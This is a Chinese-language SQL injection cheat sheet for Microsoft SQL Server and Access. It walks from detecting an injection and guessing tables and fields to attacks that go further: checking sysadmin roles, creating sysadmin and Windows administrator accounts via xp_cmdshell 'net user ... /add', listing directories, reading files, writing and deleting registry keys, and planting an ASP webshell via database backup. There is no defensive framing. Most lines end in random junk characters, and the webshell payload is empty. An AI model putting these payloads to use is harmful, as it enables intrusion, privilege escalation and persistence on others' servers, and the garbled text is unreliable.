1.判断是否有注入;and 1=1 ;and 1=2 Dspvc
2.初步判断是否是mssql ;and user>0 pJFn
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3.注入参数是字符'and [查询条件] and ''=' Y%/RGYKh
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 9"^ib9M
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5.判断数据库系统 #U- y<[
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;and (select count(*) from sysobjects)>0 mssql A_TaXl(
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;and (select count(*) from msysobjects)>0 access oO;L l?~
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 2:|vJ<Q
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ~j[?3E4L}
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Y*@7/2,
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9.(1)猜字段的ascii值(access) (87wWhH
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Aq(cgTNW
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(2)猜字段的ascii值(mssql) GDCp@%xW
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 4Yvz-aSyO
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10.测试权限结构(mssql) K^o$uUBe
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 8{0XqE~ix=
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- _f2rz+
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- &M5v EPR
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,l AZ4
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ,62~u'hR5
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- T7i>aM$+
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;and 1=(select IS_MEMBER('db_owner'));-- Ngx2N<$<*g
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11.添加mssql和系统的帐户 >]_6|Wfl
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;exec master.dbo.sp_addlogin username;-- 78]*Jx>L
;exec master.dbo.sp_password null,username,password;-- a9&[Qv5-/
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- pGU.+[|(
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;exec master.dbo.xp_cmdshell 'net user username password r1q'+i
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- A ___|
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 5Kd"W,
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- sh,4n{+
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12.(1)遍历目录 tWl')^
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;create table dirs(paths varchar(100), id int) \="U|LzG
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;insert dirs exec master.dbo.xp_dirtree 'c:\' r[):'ys,C
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;and (select top 1 paths from dirs)>0 % dFz[b
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) uUS~"\`fk
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(2)遍历目录 D4"<suU|.
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- :?EZ\WM7
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Lm!]m\LRZD
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 C:&Sk\
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 >~7XBb08
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 C &@'oLr
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13.mssql中的存储过程 6qQ_I0f
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xp_regenumvalues 注册表根键, 子键
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8d1qRCIz
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xp_regread 根键,子键,键值名 hG`@#9|f
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 >8{{H"$;(
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xp_regwrite 根键,子键, 值名, 值类型, 值 3P75:v
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 D\ZH1C!d
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 NH5sV.vvc
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xp_regdeletevalue 根键,子键,值名 t~}c"|<t
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 GGLSmfb)
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 m0W3pf
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14.mssql的backup创建webshell r1.zURY
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use model |gk4X%o6
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create table cmd(str image); +F,])p4,]i
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insert into cmd(str) values (''); y] 9/Xr/
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backup database model to disk='c:\l.asp'; D'moy*E
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15.mssql内置函数 %H_-`A`
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;and (select @@version)>0 获得Windows的版本号 O,+9r_Gh
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Nv0a]Am
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;and (select user_name())>0 爆当前系统的连接用户 37IHn6r\
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;and (select db_name())>0 得到当前连接的数据库 [#X}(
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16.简洁的webshell u46Z}~xf b
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use model 7Kj7or|
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create table cmd(str image); C\Ob!sv%H
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insert into cmd(str) values ('');
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backup database model to disk='g:\wwwtest\l.asp';